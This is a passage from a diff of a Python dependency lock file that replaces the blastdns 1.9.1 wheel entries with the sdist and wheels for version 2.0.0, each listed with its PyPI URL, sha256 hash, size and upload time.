"https://files.pythonhosted.org/packages/ab/7c/974f4a6f021fcf5a172dc9e6ab508527e5554576eb08f057f4d6345dca79/blastdns-1.9.1-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:b967cba75fd757b0e954cf4fb3d69c9fb39d95871316a9cf0bb0c2dc5e720077", size = 2450776, upload-time = "2026-04-15T20:30:53.403Z" }, - { url = "https://files.pythonhosted.org/packages/ad/a3/dc118d2a4be9efc933b29add465451537e10de53ee59e08bc6bf34de85f9/blastdns-1.9.1-cp311-cp311-manylinux_2_28_armv7l.whl", hash = "sha256:7a51dce160ffee92b548553b8c01d50ffa6d1f4c16d153df6ec36cc04e4ce8cc", size = 2321089, upload-time = "2026-04-15T20:31:07.684Z" }, - { url = "https://files.pythonhosted.org/packages/79/e9/47ae75a10808c166c38cd989fc7b65b5e31755985030e30ae3535a0abaad/blastdns-1.9.1-cp311-cp311-manylinux_2_28_i686.whl", hash = "sha256:f9fb56f9f8a672518968f7a4d882718c75b4b42629baa76f55c8bb4f60c6d8d1", size = 2551494, upload-time = "2026-04-15T20:31:50.955Z" }, - { url = "https://files.pythonhosted.org/packages/6d/2f/f2f8f5b40c83b868a807c1e8dbeafb930a0568c96ba53e95cd5e5b6b345b/blastdns-1.9.1-cp311-cp311-manylinux_2_28_ppc64le.whl", hash = "sha256:d0d23e22bdbf4fc8f4c32ff073603c56c6efb9f4911a168d9f004de664a5b13f", size = 3520728, upload-time = "2026-04-15T20:31:22.339Z" }, - { url = "https://files.pythonhosted.org/packages/69/81/af8964cd04f861077d2e99698b62d7cf01d5c5c193d8a815f3970dcdc0e6/blastdns-1.9.1-cp311-cp311-manylinux_2_28_s390x.whl", hash = "sha256:0e7603dc7e5fef925d03b5f28d75164e634ef2d6fc5b960671d0cf88380d7b70", size = 2507167, upload-time = "2026-04-15T20:31:37.313Z" }, - { url = "https://files.pythonhosted.org/packages/b4/8b/6326da63ad387377c0dd94f52426b276273f8cdf32eab17e4b3ba0ec4c0f/blastdns-1.9.1-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:8d2cc4189b98fd6d2ca2b41043f0a501455e8043562f9086fafb25c93ef053ad", size = 2438814, upload-time = "2026-04-15T20:32:01.274Z" }, - { url = "https://files.pythonhosted.org/packages/d5/30/d94d844101d7650982c6a686b41ba65fae84692f6a65147aea9756a4d09c/blastdns-1.9.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:6e31c987da6b52c1194ec057c932400b72f729922fa18737b68a868df5911d27", size = 2628570, upload-time = "2026-04-15T20:32:25.287Z" }, - { url = "https://files.pythonhosted.org/packages/63/a0/c2d1d9d6bcf20836b66b06c970e2674e5d531c98f5f8a5d8b80a2c31e413/blastdns-1.9.1-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:da747e424bea405fc11ad7cb71ea36a082c100e40c0fc18855e209104f4e08d6", size = 2595745, upload-time = "2026-04-15T20:32:38.459Z" }, - { url = "https://files.pythonhosted.org/packages/e9/f6/0c0e8a070cce991ba16227a3a1e8602f76a84db783cd2f3f170b2250a373/blastdns-1.9.1-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:801224d7006b61789378addae8751aeb7c7877c8ecf19b515f4a856230fc68bc", size = 2671215, upload-time = "2026-04-15T20:32:51.674Z" }, - { url = "https://files.pythonhosted.org/packages/ee/4a/b2cfbb5cbede71ba5c116bea8bd68222e9ab5bef49b4cd1312954978c99f/blastdns-1.9.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:1ce70a659667f3adc7c0eac7d4b2c6f4c9f8429367254ec5308d04f36213f935", size = 2689185, upload-time = "2026-04-15T20:33:06.529Z" }, - { url = "https://files.pythonhosted.org/packages/b3/34/ca482b1f59520b6c5b3fa50b253bd009e6e636541cf238788e34b81e5352/blastdns-1.9.1-cp311-cp311-win_amd64.whl", hash = "sha256:5ab93ca714cb913423e2780b2c3881a1303fa21948c5602795262c9bd51c702b", size = 2658811, upload-time = "2026-04-15T20:33:21.347Z" }, - { url = "https://files.pythonhosted.org/packages/a9/f7/82d6bc99f2c3c65ee7d1c87627c9451ccb3c6dd1e21d1afb7caed4761c20/blastdns-1.9.1-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:e46c938ce8eec89384c82b68fd62fa2f76935d4d68d1ba51f199008c1a8b056b", size = 2649921, upload-time = "2026-04-15T20:32:18.725Z" }, - { url = "https://files.pythonhosted.org/packages/96/c4/6f1b04ee737feeac6b78459708b6b6b5e4215b8a443945bbb5078a1dba0b/blastdns-1.9.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:b1eead79b192af541f4e89328aaed7e675254a56583d406dcc5cc527b1ed0662", size = 2510639, upload-time = "2026-04-15T20:32:12.531Z" }, - { url = "https://files.pythonhosted.org/packages/b0/b4/80cc72f8e94a46743bc400d2336506388fcbffe0feeaeaec03410d451db6/blastdns-1.9.1-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:d0d6a6d4654032b2fc1a1df1bb145afb83989c23160da5b629c64e797a6f3027", size = 2449415, upload-time = "2026-04-15T20:30:55.661Z" }, - { url = "https://files.pythonhosted.org/packages/f5/d6/459997181a1a0c8bd162c6f3b830732f49f39fd9e62d77dc1fde2b9fb953/blastdns-1.9.1-cp312-cp312-manylinux_2_28_armv7l.whl", hash = "sha256:cb5745b8f4ea3929d090dfa18126b9094986ea2e5808a54cdb58a355e1360a82", size = 2319087, upload-time = "2026-04-15T20:31:09.425Z" }, - { url = "https://files.pythonhosted.org/packages/10/a8/d67e9a0212005a178ab1a5fa3ea7cd280fb00b981a1020b15a7cf87ea244/blastdns-1.9.1-cp312-cp312-manylinux_2_28_i686.whl", hash = "sha256:7bd6bfc82e08624d1b40f1e4822b548f63829351e7f72080d69099b32fdb8361", size = 2549284, upload-time = "2026-04-15T20:31:52.737Z" }, - { url = "https://files.pythonhosted.org/packages/0a/e9/667b14a3cda6cd1bb31838c2769ec8533ce32aa5a3a905acc5db6e687851/blastdns-1.9.1-cp312-cp312-manylinux_2_28_ppc64le.whl", hash = "sha256:e23dc048586e8b20523ecbc4c5931d8bc5485e79200207c4c6f91ad4b5ea980f", size = 3516061, upload-time = "2026-04-15T20:31:24.299Z" }, - { url = "https://files.pythonhosted.org/packages/ee/f7/8b756e8a2dd781007763318b11fb2fb8f233dfb86f10409a69abc9b03c29/blastdns-1.9.1-cp312-cp312-manylinux_2_28_s390x.whl", hash = "sha256:6c0472de6616e7ed20b5fb3784c41b52e64a0ff1079106be0140c6f00e19f6c6", size = 2503102, upload-time = "2026-04-15T20:31:38.968Z" }, - { url = "https://files.pythonhosted.org/packages/91/c8/6f689dc1491c13ebe1275943995c3376644e26c130fd0e30dae538477996/blastdns-1.9.1-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:775dbd6b7d1eccb3375a9f17f43723ddf79a1d12ae1d202d3f587101aff21db1", size = 2436641, upload-time = "2026-04-15T20:32:02.719Z" }, - { url = "https://files.pythonhosted.org/packages/d1/52/5376331c9278f5334b76dd48210e1fb10a83f4920516c7060ccde56ec6da/blastdns-1.9.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:40bff362bd9be708197d5c548ad7f006688d763cada1faee44ae1e7d2acb06ef", size = 2625799, upload-time = "2026-04-15T20:32:26.823Z" }, - { url = "https://files.pythonhosted.org/packages/e4/d1/622c75809c143d51037daa8af9f3477e6e4606a12d58f5189b4da81e6511/blastdns-1.9.1-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:408c30d61126c1cc0ecacb1011ed6ef2f34840e937e2def22f3ed943ad6ba8f4", size = 2593888, upload-time = "2026-04-15T20:32:39.932Z" }, - { url = "https://files.pythonhosted.org/packages/11/a0/0a8dc041ccb68720dbe44ce36c10404d904b0572c0589987c5618c1c109d/blastdns-1.9.1-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:9af85ef741d4f230ea55f12d4876b1123562f51ce9b9f7d58b6f52d3d84395c1", size = 2670025, upload-time = "2026-04-15T20:32:53.153Z" }, - { url = "https://files.pythonhosted.org/packages/72/33/b5d69a9a719b3ec354fd938769f95697e17e4c1011b97aa5f424d2a7be77/blastdns-1.9.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:3339b69fc959292a66ea724b0d5e9563c4ca0be7dd48fc78adb8914a3c82ab57", size = 2685562, upload-time = "2026-04-15T20:33:08.351Z" }, - { url = "https://files.pythonhosted.org/packages/c6/d5/36c430234203e7f4c2719b321ee316c4ac82db2541761ecff6035445fbec/blastdns-1.9.1-cp312-cp312-win_amd64.whl", hash = "sha256:074b0ffe33ed57d6bef65d0120fa508d855f49910a1ed51ee6c3920e6ffc73bf", size = 2657744, upload-time = "2026-04-15T20:33:22.771Z" }, - { url = "https://files.pythonhosted.org/packages/09/a2/ed3363e3cbc5d10fc2301fc0651bb316f203a287a331eb65ce0f0c0726d1/blastdns-1.9.1-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:3fe8fecc19fdb3ee6bcfcd4242c9e2433254c8c40d1b57fa40d6190eadd73da7", size = 2649286, upload-time = "2026-04-15T20:32:20.42Z" }, - { url = "https://files.pythonhosted.org/packages/db/15/1e37003ef21f8777b51f1abc85edae818358743a74b0a836a8a409383f91/blastdns-1.9.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:b84013fc47cebeac3093f4feaeed3a4d5f45d82eebdffb73bde610e8e30f3399", size = 2510656, upload-time = "2026-04-15T20:32:14.308Z" }, - { url = "https://files.pythonhosted.org/packages/03/4e/b7f055bbe93b4201738c284482cd94d76b8f148381daa6774ddf509533f5/blastdns-1.9.1-cp313-cp313-manylinux_2_28_aarch64.whl", hash = "sha256:7e2f7b28bff77a5c5627f1f85069309e3c4039d4d277756e84d2d5c229716c16", size = 2447985, upload-time = "2026-04-15T20:30:57.312Z" }, - { url = "https://files.pythonhosted.org/packages/14/d4/05a0eb6ce69da50e1a20a4374e685b54cafcf2550aa544280f77a56e7c88/blastdns-1.9.1-cp313-cp313-manylinux_2_28_armv7l.whl", hash = "sha256:4668ccfde0215c685a81e3e121ef5d0eafccdb940bb7f9d3f7b8ffb004955b51", size = 2319178, upload-time = "2026-04-15T20:31:11.009Z" }, - { url = "https://files.pythonhosted.org/packages/9d/a7/d483bf6db4762f9ac2772cac722659334cf704316bf8e1c190af5b2fd430/blastdns-1.9.1-cp313-cp313-manylinux_2_28_i686.whl", hash = "sha256:9f4b05ba48357b70f0ee9ff6dfc581aa3af55040e4b0db4e43c53e4c3d5c8e58", size = 2549530, upload-time = "2026-04-15T20:31:54.377Z" }, - { url = "https://files.pythonhosted.org/packages/77/c1/bc1eb90bb9fda8a354ffda502da723afa4aeaf7e7538ac94dea3e922dc4d/blastdns-1.9.1-cp313-cp313-manylinux_2_28_ppc64le.whl", hash = "sha256:6da53361836a9b6d05daf391d8ce8f765de881e394827d5314021cb4c013eec7", size = 3515285, upload-time = "2026-04-15T20:31:26.049Z" }, - { url = "https://files.pythonhosted.org/packages/2c/2e/6dd47138c57efa03ef848f40c0ee5686f69fba028b72f8683173af7e44a2/blastdns-1.9.1-cp313-cp313-manylinux_2_28_s390x.whl", hash = "sha256:a10dbdcda0ab8c9cf641163cb568d820d51282d848bdd0c8627a51f3f6038163", size = 2501978, upload-time = "2026-04-15T20:31:40.265Z" }, - { url = "https://files.pythonhosted.org/packages/8c/95/cc06697ddb03d03fb6a171b337c9c649cd5bc3493b4e8c83e185eeef1dad/blastdns-1.9.1-cp313-cp313-manylinux_2_28_x86_64.whl", hash = "sha256:1f3400075b16905fd6837902511fed9c4b98b13de3cad8e3a78cf6d0e78f8124", size = 2435831, upload-time = "2026-04-15T20:32:04.657Z" }, - { url = "https://files.pythonhosted.org/packages/9c/26/6a702d559328213e0e3e7bb3a7c8788031c42b0613ae363cfd5ee33d130d/blastdns-1.9.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:a32a1e51d34b9e926a9c218c166a254d57c120a2f7b963f04fe81fd3d45f35ed", size = 2625279, upload-time = "2026-04-15T20:32:28.256Z" }, - { url = "https://files.pythonhosted.org/packages/25/e4/fc227358013e8bce5896d4405ecc882520d4480da1c30efb6c0950e526ac/blastdns-1.9.1-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:fbd5f5cd402b3075254e03b608c48e25825ea806421437e74c5fc833716a86a6", size = 2593895, upload-time = "2026-04-15T20:32:41.373Z" }, - { url = "https://files.pythonhosted.org/packages/62/8d/45e3c76947052ce2c60d58944f40178ded356b4440f83007a159ab095bef/blastdns-1.9.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:3c398d2c3780e50e1a12515e0ada2eb7c510e6d699ad60d6c6382352ba4a5db5", size = 2670367, upload-time = "2026-04-15T20:32:54.542Z" }, - { url = "https://files.pythonhosted.org/packages/77/ac/482fd604a13e05ab3e0efa84336fa39c5c391addf8308b16ee9109f67fd0/blastdns-1.9.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:11057e252c5545f1f89a4f5413a396366686799dd48b11e7c6dcad44d05df47e", size = 2684704, upload-time = "2026-04-15T20:33:09.845Z" }, - { url = "https://files.pythonhosted.org/packages/fc/67/2998dd8a5239a7afc223f4ec270048d47af5e10bb996d045c3e6e5580433/blastdns-1.9.1-cp313-cp313-win_amd64.whl", hash = "sha256:a0dc5dd486fec357fbcde1ff2f4dd3bcc4baa02323d46cc749c9a8f0fa810435", size = 2657425, upload-time = "2026-04-15T20:33:24.357Z" }, - { url = "https://files.pythonhosted.org/packages/47/49/2b51f2ba622a1723b75411fd2384d26a4d55576e0f642019fcba1ea5498a/blastdns-1.9.1-cp313-cp313t-manylinux_2_28_aarch64.whl", hash = "sha256:5bf0c8445d9d4cc0ce7668ddb2358e5c90ce711eb2001d5fd742fc30bdf6b9ff", size = 2443445, upload-time = "2026-04-15T20:30:59.07Z" }, - { url = "https://files.pythonhosted.org/packages/f7/60/490cd9f4b40cc9ee0de49252f278798e0d020f002f2c3bd93669096050f5/blastdns-1.9.1-cp313-cp313t-manylinux_2_28_armv7l.whl", hash = "sha256:0d3f1498eb37543ecbf92719aae8eda22c4cabbf14e1a1ba6c6a3e5a9157b2df", size = 2319663, upload-time = "2026-04-15T20:31:12.808Z" }, - { url = "https://files.pythonhosted.org/packages/d1/6c/b801b2706677a62cdac1c3dd46d618f3b1b18bd26b21a2df3531ab559ff4/blastdns-1.9.1-cp313-cp313t-manylinux_2_28_ppc64le.whl", hash = "sha256:1be2eb559002355311fd9f584a3ed4dc4b9b5fa4255864f39779203ad3d71228", size = 3521129, upload-time = "2026-04-15T20:31:27.637Z" }, - { url = "https://files.pythonhosted.org/packages/71/83/81f22f8b06fe06e7cc1021d6d84a1f570300c7d3f7f1e8da94617d68aba6/blastdns-1.9.1-cp313-cp313t-manylinux_2_28_s390x.whl", hash = "sha256:8b207ea568b9dfc62e0fc5a848afa15448311ec3f2dbcc519327399f6604f087", size = 2512375, upload-time = "2026-04-15T20:31:41.616Z" }, - { url = "https://files.pythonhosted.org/packages/59/6c/ff24de4e418c1b683db47975af30ea600deb96c6e8ea2163470b57d8ad85/blastdns-1.9.1-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:4f4f11a2fa4b9aa7d735252e4cfa515e51330d019065ed575a71ceb645a7fc13", size = 2621796, upload-time = "2026-04-15T20:32:29.51Z" }, - { url = "https://files.pythonhosted.org/packages/52/53/60620d5ecab72926afcb197476c765f10d690b574786c1be8d3b8f5465a0/blastdns-1.9.1-cp313-cp313t-musllinux_1_2_armv7l.whl", hash = "sha256:072b0f20ed5a23ce9a69d93fc0f4f840ca03e92a02290640c32c08e51e85e09a", size = 2591749, upload-time = "2026-04-15T20:32:43.158Z" }, - { url = "https://files.pythonhosted.org/packages/6e/2a/d0fe319e0aa0a79346b0107a339724489feaedd266fd209374f4731f6abe/blastdns-1.9.1-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:8985b6a5d88c57d9d3b566551b37a09349c0a30234167148c3d80423abbe9c8c", size = 2668454, upload-time = "2026-04-15T20:32:55.824Z" }, - { url = "https://files.pythonhosted.org/packages/f7/19/541a831d645ecede4f91fa6441e2eef23fbc3e0c7c51830f2f0a40bee609/blastdns-1.9.1-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:306e7ba2b9a0a3a9a38086ee8d187a33aae5979b588ad80bfb5ecd01633c298b", size = 2687970, upload-time = "2026-04-15T20:33:11.578Z" }, - { url = "https://files.pythonhosted.org/packages/85/c8/d784d1df9d930183b991822954dc31aeae2b3947147ce9d53d12eb7a3822/blastdns-1.9.1-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:337771fc54faafbdda2206426c362839961253a4959135767e9014ff4db879ca", size = 2650821, upload-time = "2026-04-15T20:32:21.943Z" }, - { url = "https://files.pythonhosted.org/packages/b8/98/0b3d1d6b5ff0cf1c404a9b8c7948102d724e767cf22ddedf9a3bd239a1ec/blastdns-1.9.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:6015697b4fe9dc4ff2bc397367ae726c6e6cd87bdb86e1d6b5c6856d0914beb7", size = 2517319, upload-time = "2026-04-15T20:32:15.85Z" }, - { url = "https://files.pythonhosted.org/packages/b8/8b/ecc1e80fe8aa9ac5677c62d9c6d7bb6c2c68025d99f2ff81dc6be5eb907f/blastdns-1.9.1-cp314-cp314-manylinux_2_28_aarch64.whl", hash = "sha256:01b2f1da7fe1fb44fd1af52c337979bb7284b727f971d83aa761a4887a22adb2", size = 2446094, upload-time = "2026-04-15T20:31:00.43Z" }, - { url = "https://files.pythonhosted.org/packages/1d/9e/0ac6101f9b597c61d3997623c0a3e5e7be4071461c8a2986851f3739da32/blastdns-1.9.1-cp314-cp314-manylinux_2_28_armv7l.whl", hash = "sha256:147d815a686771709c96803319233218310efb0247644df4f0d6958cb4f9b65c", size = 2320171, upload-time = "2026-04-15T20:31:14.233Z" }, - { url = "https://files.pythonhosted.org/packages/10/e4/d195149ab6402b157474ee93212b393a644eedea5f005a2aa0e650c3e4bb/blastdns-1.9.1-cp314-cp314-manylinux_2_28_i686.whl", hash = "sha256:ad4d1bb7b9fa57a7aec368a84d6830663b8f16550769edf273cf21e992425824", size = 2551099, upload-time = "2026-04-15T20:31:55.683Z" }, - { url = "https://files.pythonhosted.org/packages/c8/b0/c711045dd0ba9f15938930f75c66e57c6ae4962c821f6b0f43364d3799ff/blastdns-1.9.1-cp314-cp314-manylinux_2_28_ppc64le.whl", hash = "sha256:f2af21539691a44409020ef2260b63ac8f4ae0ee838a8e21ba51d3d480c2015c", size = 3519937, upload-time = "2026-04-15T20:31:29.379Z" }, - { url = "https://files.pythonhosted.org/packages/4c/72/2a0d2f09018e3461b16c5d64a72b7660dad97cc2eb1e0479f11a705f1db9/blastdns-1.9.1-cp314-cp314-manylinux_2_28_s390x.whl", hash = "sha256:c110f4de3839e204dc0ec97da33d01cdc78c9ffde991f583b735bf9df4c90b8d", size = 2508859, upload-time = "2026-04-15T20:31:42.963Z" }, - { url = "https://files.pythonhosted.org/packages/26/f6/5c1d954dfc4d6f420dea661dc7eb228f2fd6d31954e3d492888be426f97c/blastdns-1.9.1-cp314-cp314-manylinux_2_28_x86_64.whl", hash = "sha256:743b1501d9a625f6d0dd8ed668fd96241646bd6f70399992af43f8fef5fc42d9", size = 2439876, upload-time = "2026-04-15T20:32:06.166Z" }, - { url = "https://files.pythonhosted.org/packages/1f/71/c5a3837136449a1f5f3f14fb251fb318d48d5611755fc972fc2868473fbb/blastdns-1.9.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:4c4b0b8ca367405807b14d63f57805ca2af21c651afd07feae5db32fbaaa63f7", size = 2624052, upload-time = "2026-04-15T20:32:30.895Z" }, - { url = "https://files.pythonhosted.org/packages/59/e5/9ee26448806cc548d147a32811b406646c1530bdf66f9ef42bd232b95dfe/blastdns-1.9.1-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:8f4141a04a887e45f77e92fe5ae290c017275985b96455c2aa05084220b12423", size = 2594969, upload-time = "2026-04-15T20:32:44.441Z" }, - { url = "https://files.pythonhosted.org/packages/48/81/e9c759fc353a17b3256994f23b08d5c4f147bd0eab2e8522434548abd50c/blastdns-1.9.1-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:c0247ea74dcb9cb22fc319ab15518a6b2cd8e147b560e6908acaa97f4eb9912b", size = 2671068, upload-time = "2026-04-15T20:32:57.332Z" }, - { url = "https://files.pythonhosted.org/packages/10/9a/5dd9a17edbee1bfb996d289e5b1bbd2e1446644c02da8fe71925c4a6c828/blastdns-1.9.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:9131f9c496a6e67b46b5184fc49dc691340c1267982808460d3fdc9fbf00fc0d", size = 2689854, upload-time = "2026-04-15T20:33:12.962Z" }, - { url = "https://files.pythonhosted.org/packages/2a/82/62f420b248e485b222a7ad714d94d814e9d8ad90f4112fbbdf4d31d5f557/blastdns-1.9.1-cp314-cp314-win32.whl", hash = "sha256:f13198d57ac8606a542f273ffbeec0cf4d1b97ec5c367d217fdb7b25715888a6", size = 2206019, upload-time = "2026-04-15T20:33:27.428Z" }, - { url = "https://files.pythonhosted.org/packages/41/0b/6db2d905fce282e099b43a93f4ed7bdf586d55f9c79a6e8cf446364981d3/blastdns-1.9.1-cp314-cp314-win_amd64.whl", hash = "sha256:b1301428a30b6ad1137f47470f882da604329d6a566708045106e06c3cc5b13b", size = 2656519, upload-time = "2026-04-15T20:33:26.101Z" }, - { url = "https://files.pythonhosted.org/packages/53/ea/b5ac534f37548ae80edfb915c7a1cbd764fb92ab62cc87d360b8f951d11e/blastdns-1.9.1-cp314-cp314t-manylinux_2_28_aarch64.whl", hash = "sha256:e5d4e64d0cdfef7e31d1e4c9124cc901d801fd1925c0add743dd4b5dac5ab48d", size = 2445855, upload-time = "2026-04-15T20:31:02.055Z" }, - { url = "https://files.pythonhosted.org/packages/53/15/43ce6b8ef5ba5e5d1ffb9ad4dbf9148ea2356e556cb1d3925ffc35fcd4d9/blastdns-1.9.1-cp314-cp314t-manylinux_2_28_armv7l.whl", hash = "sha256:9078d39a13c467185dbe205b3121ef6667b452612e64a9a83670d38a4ff8f280", size = 2320251, upload-time = "2026-04-15T20:31:16.119Z" }, - { url = "https://files.pythonhosted.org/packages/a9/e8/52dc13fd874bc0cc02b850ae87781bd53b1bdb6f6efa2b6b769a4bd16106/blastdns-1.9.1-cp314-cp314t-manylinux_2_28_ppc64le.whl", hash = "sha256:712ff165713d9624a0811d94e2a555af15339f11df7fae9535aebd0de3577730", size = 3523183, upload-time = "2026-04-15T20:31:31.017Z" }, - { url = "https://files.pythonhosted.org/packages/fc/be/f129125b775e40c17624fb97550393528fa69dbb945f56fa01ba4cde797e/blastdns-1.9.1-cp314-cp314t-manylinux_2_28_s390x.whl", hash = "sha256:c31fb423922e491d87435d497a3ad571fdd1200b9d9a51322fbee2aff0275d15", size = 2512967, upload-time = "2026-04-15T20:31:44.564Z" }, - { url = "https://files.pythonhosted.org/packages/5b/fd/38b3d4986f984eb9f61987f312fb851c3c7943678f7685ff1803ac061eb8/blastdns-1.9.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:269e2f84e83c5a4c48e05c8222670289935ef9504184f6742e8049ded205d67f", size = 2622821, upload-time = "2026-04-15T20:32:32.222Z" }, - { url = "https://files.pythonhosted.org/packages/a3/84/0f0a9d767389b43edeae21f2665c5c745e2e4a056c697515962a7b4fe463/blastdns-1.9.1-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:b2c751284fe68dcf70e3f9de11c6c7cbe228473c152563ad0a781fc4a95ed484", size = 2593955, upload-time = "2026-04-15T20:32:45.822Z" }, - { url = "https://files.pythonhosted.org/packages/8d/53/04ece144df58ae2af74607fa63f38d3345f56ab32e3fce31e99d2b358019/blastdns-1.9.1-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:c3925dfff6f2fb7dcaa514ee3730a55d0824dce0023038cabf69f9e341d5a632", size = 2670065, upload-time = "2026-04-15T20:32:59.942Z" }, - { url = "https://files.pythonhosted.org/packages/bd/92/6ae1976ec0a8d1b4b7946c3203cda4637bb5a261126eb8f46004d2af0297/blastdns-1.9.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:e163cd43d5206e224e8e5ef5b18af634e97d5e90f535f0906af783e13b7fcec5", size = 2688595, upload-time = "2026-04-15T20:33:14.533Z" }, - { url = "https://files.pythonhosted.org/packages/88/f0/c44a8092fae154af9fc74d21ae3639a1544500c0a0516dc31a8a086d3ad4/blastdns-1.9.1-pp311-pypy311_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:03f5dd6a4dfa45d5972a3be01f704264b43bb6d02b86b7eba132070c9f18f286", size = 2452601, upload-time = "2026-04-15T20:31:04.974Z" }, - { url = "https://files.pythonhosted.org/packages/08/3c/d3136a70d9b8dc3349a3a11753b5cd459168fe244ae983d0d5ba81e2d6be/blastdns-1.9.1-pp311-pypy311_pp73-manylinux_2_28_armv7l.whl", hash = "sha256:1e2621a878baa1be84b910fb2b7d492184f484988f5d572746b2e555c89926d7", size = 2322996, upload-time = "2026-04-15T20:31:19.091Z" }, - { url = "https://files.pythonhosted.org/packages/64/a1/3dea21c2a56f85e9ca11b97cef0282b40737c9c1f35769ace9c4501aa790/blastdns-1.9.1-pp311-pypy311_pp73-manylinux_2_28_i686.whl", hash = "sha256:356fde1c078710dd93d627282c18945390d74cca7cad7c334a50624ebb7c9f9d", size = 2560325, upload-time = "2026-04-15T20:31:58.318Z" }, - { url = "https://files.pythonhosted.org/packages/4a/9f/46ba0541a4f2c9f473b6841983a5760dd18462ddcf702f6569328aa9de01/blastdns-1.9.1-pp311-pypy311_pp73-manylinux_2_28_ppc64le.whl", hash = "sha256:7d189845c2982e354127426923fdda4342cf083ce5b75b4f8276ca7d9bfc196a", size = 3522302, upload-time = "2026-04-15T20:31:34.43Z" }, - { url = "https://files.pythonhosted.org/packages/b9/9d/e2fdd3f5bfddf50b37d243fcfced48a3352d1e573c7f025229c67e3bbf00/blastdns-1.9.1-pp311-pypy311_pp73-manylinux_2_28_s390x.whl", hash = "sha256:1b41c108de569a822697dab53e15e2bc30fb59d3546c172903f9e66c19826282", size = 2510299, upload-time = "2026-04-15T20:31:47.831Z" }, - { url = "https://files.pythonhosted.org/packages/fc/10/a981c619876586b6b4a9763e80eea405ff7f3917ab3b5d35bc9db2565123/blastdns-1.9.1-pp311-pypy311_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:fbab1fe79723547ee03c861368769e38605e87cfb8be2858f60ad497aaca2520", size = 2444480, upload-time = "2026-04-15T20:32:09.231Z" }, - { url = "https://files.pythonhosted.org/packages/45/0d/7451f1a7bea17f39b25fe3ddbc74271c31c0b8b81b84cf5fb5b8f01ba1ed/blastdns-1.9.1-pp311-pypy311_pp73-musllinux_1_2_aarch64.whl", hash = "sha256:378e95b2723eabf23ffb04ed0bd326aa5661d4ae3396a8326ad2ffcc324d4bff", size = 2629253, upload-time = "2026-04-15T20:32:35.696Z" }, - { url = "https://files.pythonhosted.org/packages/b7/a1/ef1c8049ada69185f6276e42c33e50d18cea464037195bbf9260a3da8d64/blastdns-1.9.1-pp311-pypy311_pp73-musllinux_1_2_armv7l.whl", hash = "sha256:e4facab544265314dbf212ee015138ec823529e006b306e030ad5a4c2d4a6ec3", size = 2598351, upload-time = "2026-04-15T20:32:48.896Z" }, - { url = "https://files.pythonhosted.org/packages/d9/b4/dbc258187d079a86487f9b26761430f8f4ff531814d710caab66b388f402/blastdns-1.9.1-pp311-pypy311_pp73-musllinux_1_2_i686.whl", hash = "sha256:62269fee131b31f401dabe16f427dedf4ac6c0c5d7a302a52a7d685456772385", size = 2679763, upload-time = "2026-04-15T20:33:02.936Z" }, - { url = "https://files.pythonhosted.org/packages/1e/01/480f3c5e54abf85b6accdc25635a10428720f9f2fa6b95c89d59e35f2912/blastdns-1.9.1-pp311-pypy311_pp73-musllinux_1_2_x86_64.whl", hash = "sha256:64581573a438d95f51e297aa6790a85f49ed00fcb2afdf5a459b911dce970619", size = 2694305, upload-time = "2026-04-15T20:33:17.253Z" }, +sdist = { url = "https://files.pythonhosted.org/packages/b3/e7/bbb86377c300f03e40ecebc8fcd01c2510ffde5127f3713ca08a681d1570/blastdns-2.0.0.tar.gz", hash = "sha256:b1155d642a67a468b313f493ee337a7655c2f190adc1c25dad174555012ac213", size = 168985, upload-time = "2026-09-22T15:09:43.345Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/9e/fb/d22c181bf6019998d4485e90b392c585fd050befea52ae4d9887a9d1ddb3/blastdns-2.0.0-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:fad0755c2e9586873ddb63221e3c3bfa892c130f154e45ccbbda0b72563ba5b2", size = 2718601, upload-time = "2026-09-22T15:07:19.157Z" }, + { url = "https://files.pythonhosted.org/packages/59/72/b70ba280a300c6c168558a6a743b76dc9169baa42a2257737300b873c2b8/blastdns-2.0.0-cp310-cp310-manylinux_2_28_armv7l.whl", hash = "sha256:ad1fea0165732ac8d7b06db29ef80c817753ea6ba3fc592e40d9ee412044a4d1", size = 2604121, upload-time = "2026-09-22T15:07:31.944Z" }, + { url = "https://files.pythonhosted.org/packages/7b/6b/db1f1b3c85859a54349806b8fcdd99c4539ec6319a84ecb4cf315f981941/blastdns-2.0.0-cp310-cp310-manylinux_2_28_i686.whl", hash = "sha256:c176755e9b1bdbe5a35bd88a5fc5dc96e92778ed53fa4cee3dc8b5f15125c3f9", size = 2854822, upload-time = 